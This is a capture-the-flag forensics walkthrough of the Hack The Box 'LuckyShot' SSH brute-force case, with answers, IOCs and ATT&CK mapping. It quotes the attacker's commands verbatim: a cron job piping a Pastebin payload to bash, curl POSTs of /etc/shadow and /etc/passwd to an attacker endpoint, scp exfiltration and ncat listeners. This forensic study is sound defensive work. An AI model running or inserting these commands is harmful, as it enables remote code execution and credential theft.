LuckyShot Sherlock Walkthrough

Solved LuckyShot from Hack The Box!

Field Details
Case Reference HTB-SHRLCK-LUCKYSHOT
Platform Hack The Box — Sherlock
Category Linux Forensics — SSH Brute Force
Difficulty —
Date Opened 2025-02-10
Severity High
Status Closed — training scenario
Host LuckyShot
Attacker IP 192.168.161.198
Evidence /var/log/auth.log, bash_history, cron, /etc/ssh, /etc/passwd, /etc/shadow

1. Executive Summary

On 2025-02-10 an attacker brute-forced SSH on the Linux host LuckyShot from 192.168.161.198, trying usernames ubuntu, default, admin, Administrator before successfully authenticating as administrator at 19:39:03 UTC. Once in, the attacker checked group membership, cloned and ran LaZagne to dump stored credentials, exfiltrated Passwords_Backup.txt and Server_Credentials.txt via scp to kali@192.168.161.198, and executed a malicious script sys_monitor.sh (SHA1 3ae5dea7…). The script installed a systemd service masquerading as systemd-networkm.service (running with root privileges), planted ncat listeners on ports 7575/9000 in .bashrc/.profile, created a backdoor user Regev (with sudo), and set up a cron job (syscheck) that fetches and executes a Pastebin payload every minute — which in turn base64-encodes and exfiltrates /etc/shadow and /etc/passwd to http://192.168.161.198/steal.php.

1.1 Incident Summary

Field Details
Incident Type SSH brute force → credential dumping → persistence → data exfiltration
Initial Access SSH brute force from 192.168.161.198
Discovery Blue team Linux forensics
First Execution 2025-02-10 19:38:29 UTC (first “Invalid user” entries)
Persistence systemd-networkm.service + ncat listeners (7575/9000) in .bashrc/.profile + cron syscheck + backdoor user Regev
Overall Severity High

1.2 Key Findings

  • Brute-force attack from 192.168.161.198 targeting users ubuntu, default, admin, Administrator.
  • Successful login as administrator at 2025-02-10T19:39:03 (UTC).
  • Attacker ran groups administrator to check privileges.
  • LaZagne cloned and executed to extract stored credentials.
  • Files Passwords_Backup.txt and Server_Credentials.txt exfiltrated via scp to kali@192.168.161.198.
  • Malicious script sys_monitor.sh (SHA1 3ae5dea716a4f7bfb18046bfba0553ea01021c75).
  • Persistence: systemd-networkm.service (masquerading as network management), ncat listeners on 7575/9000, backdoor user Regev (sudo), cron syscheck fetching Pastebin payload every minute.
  • Payload exfiltrates /etc/shadow and /etc/passwd (base64-encoded) to http://192.168.161.198/steal.php.
  • Attacker’s SSH key (kali@kali) added to authorized_keys.

2. Investigation Scope & Artifacts

2.1 Artifacts Analyzed

Artifact Format What it answers
/var/log/auth.log Text log SSH brute force, successful login, user creation — Q1, Q2, Q3, Q13, Q14
/home/administrator/.bash_history (and [root] variant) Text Commands run by attacker — Q4, Q5, Q6, Q8
sys_monitor.sh Shell script Malware payload — Q9
/etc/cron.d/syscheck Cron file Automated payload fetch — Q15
Pastebin payload (SAuEez0S) Base64 (reversed) Exfiltration command — Q16
/root/.ssh/authorized_keys Text Attacker’s SSH key — Q12
/etc/shadow, /etc/passwd Text Targeted for exfiltration — Q16

2.2 Tools & Methods

Tool Purpose
grep, cat, strings Log and file analysis
sha1sum / md5sum Hash computation
base64 -d, rev Decode reversed base64 payload
Browser (broserling.com) Fetch Pastebin payload

3. Technical Analysis

3.1 Scenario

Linux forensics of an SSH brute-force compromise on LuckyShot. The attacker gained access via SSH, dumped credentials with LaZagne, exfiltrated sensitive files, and installed multiple persistence mechanisms (systemd service, ncat listeners, backdoor user, cron job) that exfiltrate /etc/shadow every minute.

3.2 Q1 — What method did the attacker use to gain access to the system?

Answer: Brute Force

/var/log/auth.log shows numerous “Invalid user” entries from 192.168.161.198 targeting usernames ubuntu, default, admin, Administrator — a classic SSH brute-force attack. The attacker eventually succeeded.

image.png

Detection angle. /var/log/auth.log “Invalid user” entries from a single IP across multiple usernames — SSH brute force.

3.3 Q2 — At what time did the attacker successfully log in for the first time?

Answer: 2025-02-10T19:39:03

Checking /var/log/auth.log for the keyword Accepted reveals the first successful login:

2025-02-10T19:39:03.128865+02:00 LuckyShot sshd[13613]: Accepted password for administrator from 192.168.161.198 port 42878 ssh2

image.png

Detection angle. auth.log “Accepted password” entry — first successful SSH login timestamp.

3.4 Q3 — Which user account was compromised by the attacker?

Answer: Administrator

As seen in Q2, the successful login was for user administrator from 192.168.161.198.

Detection angle. Successful SSH login username in auth.log.

3.5 Q4 — What command was executed by the attacker to check user privileges?

Answer: groups administrator

Checked /home/administrator/.bash_history for privilege-checking commands:

groups
groups administrator

Detection angle. groups / id commands in .bash_history — privilege enumeration.

3.6 Q5 — What was the first tool the attacker downloaded to extract stored credentials from the system?

Answer: LaZagne

On .bash_history from administrator, the attacker cloned and ran LaZagne (a credential recovery tool):

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Linux

Detection angle. git clone of LaZagne in .bash_history — credential dumping tool.

3.7 Q6 — The attacker located sensitive files and transferred them to a remote machine. Which command-line tool was used for this exfiltration?

Answer: scp

On .bash_history, the attacker used scp to transfer files:

scp Passwords_Backup.txt Server_Credentials.txt kali@192.168.161.198:~/Desktop/

scp uses the SSH protocol to transfer files (encrypted in transit).

Detection angle. scp command in .bash_history — SSH-based file exfiltration.

3.8 Q7 — What IP did the attacker exfiltrate the files to?

Answer: 192.168.161.198

Found in Q6: the scp command targeted kali@192.168.161.198.

Detection angle. Destination IP in scp command — exfiltration target.

3.9 Q8 — The attacker continued their exploitation and executed a malicious script. What is the name of the script?

Answer: sys_monitor.sh

Checked .bash_history for script execution. The script name is sys_monitor.sh.

Detection angle. Script execution reference in .bash_history.

3.10 Q9 — What is the SHA1 hash of the malware?

Answer: 3ae5dea716a4f7bfb18046bfba0553ea01021c75

Used grep -r "sys_monitor.sh" to locate the file, then computed the SHA1 hash.

image.png

Detection angle. grep -r to locate the malicious script, then sha1sum for hashing.

3.11 Q10 — The malware installed a component that pretends to be part of system network management but is actually running with root privileges. What is the name of the component?

Answer: systemd-networkm.service

Since the question mentions a component pretending to be part of system network management, I looked at *.service files. The masquerading service is systemd-networkm.service (note the m — mimicking systemd-networkd).

image.png

Detection angle. *.service files in /etc/systemd/system/ — masquerading service name (extra m).

3.12 Q11 — The attacker modified several startup configuration files, each spawning a network listener on a different port at login. What is the name of the file that starts the listener on the lowest port number?

Answer: .bashrc

Searched for ncat listeners in startup files:

grep -riE "^ncat" ~/htb/Sherlock/\[root\]
[root]/root/.bashrc:ncat -lvp 7575 &
[root]/root/.profile:ncat -lvp 9000 &

The lowest port is 7575, started by .bashrc.

Detection angle. grep for ncat -lvp in dotfiles — persistent reverse shells on login.

3.13 Q12 — What is the username and hostname associated with the attacker?

Answer: kali@kali

Found in [root]/root/.ssh/authorized_keys:

cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnoiT13BNG/… kali@kali%

Detection angle. authorized_keys entry ending in kali@kali — attacker’s SSH key.

3.14 Q13 — The attacker created a user for persistence. What is the name of the created user?

Answer: Regev

Found in /var/log/auth.log:

cat var/log/auth.log | grep Regev
2025-02-10T20:11:21.731285+02:00 LuckyShot sudo: root : TTY=pts/2 ; PWD=/tmp ; USER=root ; COMMAND=/usr/sbin/useradd -m -s /bin/bash -G sudo,adm Regev

Detection angle. auth.log useradd command — backdoor user creation with sudo.

3.15 Q14 — At what exact timestamp was the new user created on the system?

Answer: 2025-02-10 20:11:21

From Q13: 2025-02-10T20:11:21.731285+02:00.

Detection angle. Timestamp of the useradd command in auth.log.

3.16 Q15 — The malware set up an automated process to fetch and execute a remote payload from a legitimate web service. What is the full command responsible for retrieving this payload?

Answer: command -v curl >/dev/null 2>&1 || (apt update && apt install -y curl) && curl -fsSL https://pastebin.com/raw/SAuEez0S | rev | base64 -d | bash

Since it says “automated process,” my first thought was to check cron. After searching /etc/cron.d/, found syscheck:

cat syscheck
/1 * * * root command -v curl >/dev/null 2>&1 || (apt update && apt install -y curl) && curl -fsSL https://pastebin.com/raw/SAuEez0S | rev | base64 -d | bash

Detection angle. /etc/cron.d/ file fetching and executing a Pastebin payload every minute.

3.17 Q16 — The payload was used to extract more sensitive files. What was the command ran to extract the more sensitive file?

Answer: base64 /etc/shadow | curl -X POST -d @- http://192.168.161.198/steal.php

Used broserling.com to fetch the Pastebin payload (https://pastebin.com/raw/SAuEez0S), which shows a reversed base64 string. Decoding:

echo "=AHaw5CbhVGdz9CO5EjLxYTMugjNx4iM5EzLvoDc0RHag0CQgQWLgQ1UPBFIY1CIsJXdjBCfgQ2dzNXYw9yY0V2LgQjNlNXYipQDwhGcuwWYlR3cvgTOx4SM2EjL4YTMuITOx8yL6AHd0hGItAEIk1CIUN1TQBCWtACbyV3YgwHI39GZhh2cvMGdl9CI0YTZzFmY" | rev | base64 -d

Output:

base64 /etc/shadow | curl -X POST -d @- http://192.168.161.198/steal.php
base64 /etc/passwd | curl -X POST -d @- http://192.168.161.198/steal.php

image.png

Detection angle. Pastebin payload (reversed base64) decodes to exfiltration of /etc/shadow and /etc/passwd via POST.


4. Challenge Q&A Log

# Question Answer Method
1 Method used to gain access Brute Force auth.log “Invalid user”
2 First successful login time 2025-02-10T19:39:03 auth.log “Accepted password”
3 Compromised user account Administrator auth.log
4 Command to check privileges groups administrator .bash_history
5 First credential-dumping tool LaZagne .bash_history
6 Exfiltration tool scp .bash_history
7 Exfiltration destination IP 192.168.161.198 .bash_history (scp command)
8 Malicious script name sys_monitor.sh .bash_history
9 SHA1 of the malware 3ae5dea716a4f7bfb18046bfba0553ea01021c75 grep -r + sha1sum
10 Masquerading component (root) systemd-networkm.service *.service files
11 File starting listener on lowest port .bashrc (port 7575) grep -riE "^ncat" in dotfiles
12 Attacker username@hostname kali@kali authorized_keys
13 Backdoor user created Regev auth.log useradd
14 Backdoor user creation timestamp 2025-02-10 20:11:21 auth.log
15 Command fetching remote payload command -v curl … | rev | base64 -d | bash (from Pastebin) /etc/cron.d/syscheck
16 Command extracting sensitive file base64 /etc/shadow | curl -X POST -d @- http://192.168.161.198/steal.php Pastebin payload (reversed base64)

5. Incident Narrative

On 2025-02-10 an attacker brute-forced SSH on LuckyShot from 192.168.161.198, trying usernames ubuntu, default, admin, Administrator before successfully authenticating as administrator at 19:39:03 UTC. Once in, the attacker checked group membership (groups administrator), cloned and ran LaZagne to dump stored credentials, exfiltrated Passwords_Backup.txt and Server_Credentials.txt via scp to kali@192.168.161.198, and executed a malicious script sys_monitor.sh (SHA1 3ae5dea7…). The script installed a systemd service masquerading as systemd-networkm.service (root privileges), planted ncat listeners on ports 7575/9000 in .bashrc/.profile, created a backdoor user Regev (with sudo), and set up a cron job (syscheck) that fetches and executes a Pastebin payload every minute — which base64-encodes and exfiltrates /etc/shadow and /etc/passwd to http://192.168.161.198/steal.php. The attacker’s SSH key (kali@kali) was added to authorized_keys.


6. Attack Timeline

Timestamp (UTC) Event Artifact ATT&CK
2025-02-10 19:38:29 SSH brute force begins (invalid users ubuntu/default/admin/Administrator) auth.log T1110.001
2025-02-10 19:39:03 Successful login as administrator from 192.168.161.198 auth.log T1078
2025-02-10 19:39:03+ groups administrator (privilege check) .bash_history T1033
(post-login) LaZagne cloned and executed (credential dumping) .bash_history T1555
(post-login) scp Passwords_Backup.txt Server_Credentials.txt to kali@192.168.161.198 .bash_history T1048.003
(post-login) sys_monitor.sh executed .bash_history T1059.004
2025-02-10 20:11:21 Backdoor user Regev created (sudo, adm) auth.log T1136.001
(persistence) systemd-networkm.service installed (masquerading) *.service files T1036.005, T1543.002
(persistence) ncat listeners on 7575/9000 in .bashrc/.profile dotfiles T1547.001? (shell config)
(persistence) cron syscheck fetches Pastebin payload every minute /etc/cron.d/syscheck T1053.003
(ongoing) Pastebin payload exfiltrates /etc/shadow and /etc/passwd Pastebin payload T1048

7. Indicators of Compromise (IOCs)

7.1 File IOCs

Type Value Context
File Name sys_monitor.sh Malicious script (SHA1 3ae5dea7…) — Q8/Q9
File Name systemd-networkm.service Masquerading systemd service — Q10
File Name syscheck Cron file fetching Pastebin payload — Q15
File Path /root/.bashrc ncat listener on 7575 — Q11
File Path /root/.profile ncat listener on 9000 — Q11
File Path /etc/cron.d/syscheck Cron persistence — Q15
File Name Passwords_Backup.txt, Server_Credentials.txt Exfiltrated files — Q6

7.2 Network IOCs

Type Value Context
IP Address 192.168.161.198 Attacker IP (SSH, scp, steal.php)
Domain pastebin.com Payload host (SAuEez0S) — Q15
URL https://pastebin.com/raw/SAuEez0S Reversed base64 payload — Q15
URL http://192.168.161.198/steal.php Exfiltration endpoint — Q16
SSH Key ssh-rsa … kali@kali Attacker’s key in authorized_keys — Q12

7.3 Behavioral IOCs

Type Value Context
Account administrator Compromised account (SSH)
Account Regev Backdoor user (sudo, adm) — Q13/Q14
Command groups administrator Privilege check — Q4
Tool LaZagne Credential dumping — Q5
Command scp … kali@192.168.161.198:~/Desktop/ File exfiltration — Q6
Service systemd-networkm.service Masquerading persistence — Q10
Listener ncat -lvp 7575 / ncat -lvp 9000 Reverse shells on login — Q11
Cron /1 * * * root … curl … pastebin … | rev | base64 -d | bash Automated payload fetch — Q15
Exfil command base64 /etc/shadow | curl -X POST -d @- http://192.168.161.198/steal.php Shadow/passwd exfiltration — Q16

8. Detection Opportunities

Source What to look for Why it matters
/var/log/auth.log Multiple “Invalid user” from one IP, then “Accepted password” SSH brute force — Q1/Q2
/var/log/auth.log useradd with -G sudo,adm Backdoor user creation — Q13/Q14
.bash_history git clone … LaZagne, scp …, groups Credential dumping + exfiltration — Q4/Q5/Q6
Filesystem (*.service) Service name mimicking a system service (typo/extra char) Masquerading persistence — Q10
Dotfiles (.bashrc, .profile) ncat -lvp or reverse-shell commands Persistent listeners on login — Q11
/etc/cron.d/ Cron jobs fetching remote payloads (curl/wget + base64/rev) Automated payload delivery — Q15
Network Outbound POST to /steal.php with base64 body Shadow/passwd exfiltration — Q16
/root/.ssh/authorized_keys Unknown SSH keys (e.g., kali@kali) SSH backdoor — Q12

9. MITRE ATT&CK Mapping

TTP ID Tactic Technique Evidence
T1110.001 Credential Access Brute Force: Password Guessing SSH brute force from 192.168.161.198 — Q1/Q2
T1078 Defense Evasion Valid Accounts Successful login as administrator — Q3
T1033 Discovery System Owner/User Discovery groups administrator — Q4
T1555 Credential Access Credentials from Password Stores LaZagne credential dumping — Q5
T1048.003 Exfiltration Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol scp of sensitive files — Q6/Q7
T1059.004 Execution Command and Scripting Interpreter: Unix Shell sys_monitor.sh execution — Q8
T1036.005 Defense Evasion Masquerading: Match Legitimate Name or Location systemd-networkm.service (extra m) — Q10
T1543.002 Persistence Create or Modify System Process: Systemd Service systemd-networkm.service — Q10
T1547.00? Persistence Boot or Logon Autostart Execution: (shell config) ncat listeners in .bashrc/.profile — Q11
T1098.004 Persistence Account Manipulation: SSH Authorized Keys kali@kali key added — Q12
T1136.001 Persistence Create Account: Local Account Regev backdoor user (sudo) — Q13/Q14
T1053.003 Execution Scheduled Task/Job: Cron /etc/cron.d/syscheck every minute — Q15
T1003.008 Credential Access OS Credential Dumping: /etc/passwd and /etc/shadow base64 /etc/shadow exfiltration — Q16

10. Conclusions & Recommendations

10.1 Incident Summary

What Happened An attacker brute-forced SSH, dumped credentials with LaZagne, exfiltrated sensitive files, and installed multi-layer persistence (systemd service, ncat listeners, backdoor user, cron job) that exfiltrates /etc/shadow every minute.
Root Cause Weak SSH credentials (brute-forceable) on administrator; no SSH key-only auth or fail2ban; world-writable cron and service directories.
Impact Assessment Confidentiality: Critical — /etc/shadow and /etc/passwd exfiltrated. Integrity: Critical — backdoor user + SSH key + persistence. Availability: Medium — cron-driven payload runs every minute.

10.2 Recommendations

Priority Timeframe Recommendation
Immediate Within 24h Remove Regev user, systemd-networkm.service, ncat listeners, cron syscheck, and the kali@kali SSH key; block 192.168.161.198
High Within 7 days Reset all passwords (especially administrator); rotate SSH keys; review /etc/shadow exposure
Medium Within 30 days Enforce SSH key-only auth; deploy fail2ban; alert on useradd, cron.d changes, authorized_keys modifications
Low Within 90 days User awareness; restrict Public share permissions; disable password auth for SSH
Strategic Ongoing Centralized log collection for /var/log/auth.log; file integrity monitoring on cron/services/dotfiles

11. Analyst Notes & Learning

11.1 What I Did Well

Pivoted from auth.log (brute force) to .bash_history (commands) to cron/dotfiles/services (persistence) to Pastebin (payload) — following the attacker’s trail across multiple artifact types. Decoded a reversed base64 payload to recover the exfiltration command.

11.2 Key Takeaways

  • SSH brute force is still effective against weak passwords — enforce key-only auth.
  • LaZagne is a common post-exploitation credential dumping tool on Linux.
  • Masquerading service names (extra char: systemd-networkm) blend into legitimate namespaces.
  • Cron + Pastebin + rev/base64 is a simple but effective persistence + payload delivery chain.
  • .bash_history is gold — it records the attacker’s exact commands, including scp destinations and tool clones.
  • Multiple persistence layers (service + listeners + user + cron) ensure survival even if one is removed.

11.3 New Techniques

Linux auth.log analysis for brute force, .bash_history reconstruction, LaZagne detection, cron-based payload delivery (Pastebin + reversed base64), masquerading service detection, and authorized_keys SSH backdoor identification.


12. References

HTB Sherlock · LuckyShot · Linux Forensics · 2025-02-10